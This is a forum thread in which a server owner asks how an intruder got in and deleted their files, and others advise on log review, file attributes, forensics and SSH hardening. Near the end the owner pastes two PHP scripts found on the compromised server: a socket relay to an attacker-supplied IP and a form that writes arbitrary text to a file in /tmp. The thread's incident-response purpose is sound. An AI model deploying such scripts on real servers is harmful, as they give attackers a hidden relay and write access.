Someone was able to access my server and deleted all my files. How do I find out how he got into my server? I am very sure he didn't delete the files via SSH or FTP. Could I set it up so that only root have the ability to delete files?

SQL attack?? someone used the URL to enter commands and take advantage of a known/unknown bug.........??

an open port that should have been closed but was not??

Someone was able to access my server and deleted all my files. How do I find out how he got into my server? I am very sure he didn't delete the files via SSH or FTP.
Anything in the system logs or your user and root bash_histories? Does last -i show any abnormal logins? What services were you running on the system? How are you so sure that the files weren't deleted using SSH of FTP? Who owned the files and what were the permissions on them?

Could I set it up so that only root have the ability to delete files?
Change the permissions so that normal users other than owner can't write to them and set the undeletable or append only attributes using the chattr command (see chattr man page). If someone gets root access, they can change whatever they like though...

Thanks for helping.

My admin checked and they didn't get in with root access. As for the FTP, even if they got in, they could not have deleted the files as there were not enough permission. I am checking on which ports were open, and still trying to figure out how he got in.

The files are owned by the user, not root. Main folder have 777, sub-folder have 755, and all files have 644. I also had a security expert go over the script and there were no security threats discovered. I am curious as to how he was able to wipe out all the files and even clean out the tmp partition.


"Change the permissions so that normal users other than owner can't write to them and set the undeletable"
How do I set this?

"append only attributes using the chattr command"
I read the CHATTR man page, it seems like I can only append one file at a time? Is there anyway to do it quicker? There are hundreds of folders and thousands of files.

Thanks!

Are you sure that there was not, say, a filesystem problem or physical device issue?

Most intruders do not "delete all the files."

It was an intruder, 100% sure.

see the last logins

last -n 20

check the times of the logins against your login times.

tail -n 50 /var/log/auth.log <- adapt to your distro

check which services have allowed people in.

While looking at this you should look at the ips. People login into your account from other coutries and so on.

Have a look at the versions of the software that is running.

Nothing abnormal in
last -n 20

It looks like the logs starts October 1st, was the logs from September deleted? I was thinking maybe he got in during September, installed a backdoor and deleted the files in October.

But if there are found to have no evidence of a root breakin, what other service could be used to enter a system?

It looks like the logs starts October 1st, was the logs from September deleted? I was thinking maybe he got in during September, installed a backdoor and deleted the files in October.
It's possible that the logs were rotated recently. Does an old rotated log exist (usually they are named something like /var/log/secure.1)?

But if there are found to have no evidence of a root breakin, what other service could be used to enter a system?
Note that you'd need root access in order to delete system logs. Could you give us a list of the services you ran on the system, what distro you're using and info on whether the system had been regularly patched against vulnerabilities.

Also why are you 100% sure it was an intrusion? Please provide as much detail as possible.

The first question is, "which services were open." The intrusion had to happen from one of these. When it happened, you can't be sure.

All of the information that the system may tell you, including modification dates and so-on, must be assumed to be unreliable or false.

Ideally, you should promptly shut-down the system, physically remove the disk drive, and place the drive (as a secondary drive only) into a machine from which you can do forensics. Don't continue to run that system as-is!

The next question might be, "which user login accounts were defined?" Did you have any like news, uucp, and the like? Is there any "default" user-name that might have existed with a known (or no!) password?

A third question might be, "is there a hole by which the intruder could cause a command to be executed?" A shell of any kind, including ssh? How about the web server... an applet? If an arbitrary command could be executed, it's possible for a well-crafted program to slip through some known vulnerability.

"How well do you know your own system?" Did you consciously select each and every application that is running? Did you enable and consciously configure a firewall? Or did you instead rely upon "packages" and vendor-defaults?

As for "who did it and why..." there are two possibilities. One is that your system was just "damn unlucky." Another is that someone known to you, perhaps an insider, perhaps an employee or a "friend," did something malicious to be malicious. And if the latter, in most US states that person committed a crime. If the damage appears to be less than indiscriminate, the probability of "an inside job" increases considerably.

If your system was "damn unlucky," you will need to locate and close the holes, updating the system software and so-on. You will need to check for rootkits -- a likely scenario in this case. Doing the work ex post facto is unfortunately difficult... the horse is already out of the barn, and the barn is already burned down.

From the logs secure, secure.1 etc. The only successful login is from me and my admin. I found there are a lot of illegal users though. So it seems like someone is trying to brute-force my password? What do I do in this situation?

Was the bruteforce attempt actually using your username or was it trying a variety of username/passwords? What service was the attack against, SSH? If so, take a look at the thread near the top of the entitled "Failed SSH Login Attempts" and see if the attack seems similar. There are also some countermeasures against the attack listed in that thread as well (though they wonlt do much good now if your box was actually compromised.

Also please describe why you are sure the system was compromised in as much detail as possible. If the system was truly compromised then it's important to take certain precautions immediately to avoid losing/corrupting any evidence.

It was bruteforce using username root and a variety of username/password, like david, carol, ftp, etc.

My admin has disabled root login and only root access can modify/delete files now.

My other concern now is FTP/cPanel. I want to disable FTP/cPanel completely and only enable them when I need them. How do I go about making this configuration?


For evidence of being hacked or cracked, this file was in the main folder that was deleted:

<?php
if(!isset($_GET['ip'])) {
$ip="127.0.0.1";
}
else {
$ip=stripslashes($_GET['ip']);
}
if(!isset($_GET['q'])) {
die("Error.");
}
else {
$query = stripslashes($_GET['q']);
}
$fp = fsockopen($ip, 80, $errno, $errstr, 30) or die();
fwrite($fp, $query);
$x = fgets($fp);
fclose($fp);
echo($x);
?>


And another file:

<?php
$fp=fopen("/tmp/services/services.conf",'w+') or die("error");
if(!isset($_POST['text'])) {
echo("
<FORM ACTION=\"mm.php\" METHOD=\"POST\">
<TEXTAREA NAME=\"text\"></TEXTAREA>
<INPUT TYPE=\"submit\" VALUE=\"Save\">
</FORM>
");
}
else {
fwrite($fp,stripslashes($_POST['text']));
}
?>

Undoubtedly, one of those passwords eventually succeeded. If the user-name was a common name and the password was any word in a dictionary, then it was only a matter of time once they latched on to you.

The first question should be ... does anyone ever need to log-on to this system from the Internet? If the answer is "no," then no remote-shell-type service should be running. Not rsh, and not ssh.

If you do intend to allow ssh access, then it is not enough to allow the authentication-scheme to "merely" be username/password. In my humble who-cares, you have to use digital certificates. Only the bearer of a valid certificate should be given the slightest bit of attention by ssh; no one else even gets the chance to utter a password.

You issue individual certificates to each individual who is authorized to use the machine, and you impose a routine drop-dead date on each one; perhaps three months. That is so that people don't get into a lull and "fuhgeddabout" the whole certificate thing. If any computer is stolen, the corresponding certificate can be revoked, immediately cutting off that machine's access without affecting any others.

The problem with ssh is that, even though it is cryptographically "secure" in what it sends across the network, it is still "a shell." And by-default it will allow anyone to talk to it, ask them for a user-name/password, and let them inside if they know it. By-default it does not even impose a cooling-off period if given too many invalid password attempts. These defaults make it just as insecure in practice as rsh, except that the transmitted traffic is encrypted (which is irrelevant). ssh's strength is that it recognizes certificates, but that feature must be used.

---
The ftp daemon ... that certainly could be another hole but it would be a laborious way to delete thousands of files at once.

From the logs, there have been no breakins via SSH. Deleting files via FTP was not possible also, not enough permissions. I think they somehow was able to execute a script to upload and delete files. All the files were deleted with the folders intact and there were thousands of folders.

For SSH centificates, I will ask my admin about this feature. Thanks for suggesting this.